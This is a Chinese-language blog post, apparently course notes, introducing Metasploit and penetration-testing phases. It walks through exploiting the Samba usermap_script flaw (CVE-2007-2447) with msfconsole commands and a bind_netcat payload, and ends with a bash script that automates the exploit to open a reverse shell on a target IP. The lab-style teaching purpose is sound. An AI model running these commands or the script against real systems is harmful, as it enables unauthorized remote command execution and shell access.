资讯详情

【Metasploit渗透测试魔鬼训练营】初识Metasploit

📅 2026/10/14 19:15:46 | 华诺云谱 👁 阅读
【Metasploit渗透测试魔鬼训练营】初识Metasploit
基础知识渗透测试前期交互确认范围情报收集被动搜索、主动扫描威胁建模与攻击规划漏洞分析安全漏洞探测与挖掘渗透攻击后渗透报告Metasploit 功能情报搜集内建和插件机制威胁建模数据库操作漏洞分析除直接扫描、还有就是Fuzz可用于挖掘0day后渗透Meterpreter s —— 支持多操作系统驻留内存并支持免杀、并支持权限提升、信息获取、系统监控等报告生成Metasploit 实现了 手工作坊 —— 工厂化 生产模式Metasploit 架构基础库文件模块渗透攻击模块攻击载荷模块空指针模块编码器模块后渗透模块插件接口功能程序下载https://docs.metasploit.com/下载好后在终端中使用下面的命令打开/opt/metasploit-framework/bin/msfconsole看到下面的 MSF 终端就说明安装成功了MSF 终端使用简介help 查看功能查找 samba 攻击模块search samba选择攻击模块use /multi/samba/usermap_script查看载荷show payloads执行载荷setpayload cmd/unix/bind_netcat查看需要配置的参数这里只需要配置目标主机地址setRHOST127.0.0.1msfcli 命令行程序支持在一条命令中执行多条操作msfcli multi/samba/usermap_scriptPAYLOADcmd/unix/ bind_netcatRHOST127.0.0.1 E作业搜索 usermap_script 安全漏洞信息https://nvd.nist.gov/vuln/detail/cve-2007-2447允许远程攻击者通过涉及以下函数的 shell 元字符执行任意命令(1)当“username map script”选项被启用时使用 smb.conf 选项中的 SamlChangePassword 函数(2)在远程打印机和文件共享管理场景中允许远程认证的用户通过涉及其他 MS-RPC 函数的 shell 元字符执行命令。统计一下 MSF 中针对 Windows 2008 的攻击模块数量searchWindows Server 2008type:exploit platform:windows获取一下 Linux 靶机的远程控制桌面写一个 shell 程序实现只需要输入 IP 地址即可实现 usermap_script 的利用vimusermap_exploit.sh#!/usr/bin/env bashset-euopipefail# 用法./usermap_exploit.sh 靶机IP [攻击机IP] [监听端口]TARGET_IP${1:?请提供靶机IP例如 ./usermap_exploit.sh 192.168.56.101}ATTACK_IP${2:-}LISTEN_PORT${3:-4444}if[-z$ATTACK_IP];then# 自动取本机默认路由对应的 IPATTACK_IP$(ip route get 1.1.1.1 2/dev/null | awk {for(i1;iNF;i) if($isrc) print$(i1)})fiif[-z$ATTACK_IP];thenecho无法自动获取攻击机IP请手动传入第二个参数。exit1fiecho靶机IP:$TARGET_IPecho攻击机IP:$ATTACK_IPecho监听端口:$LISTEN_PORTmsfconsole-q-x use exploit/multi/samba/usermap_script; set payload cmd/unix/reverse; set RHOSTS$TARGET_IP; set RPORT 445; set LHOST$ATTACK_IP; set LPORT$LISTEN_PORT; exploit; chmodx usermap_exploit.sh ./usermap_exploit.sh192.168.56.101
📝

华诺云谱内容团队

资深建站顾问 · 行业研究员

10年+企业数字化服务经验,专注智能建站、SEO优化与品牌营销,持续输出建站技巧、行业洞察与营销干货,已帮助5000+企业实现数字化增长。

你可能需要的服务

订阅华诺云谱资讯周报

每周一封,精选建站技巧、SEO与营销干货,直达邮箱。已有 8,000+ 企业主订阅,助你少走弯路。

↑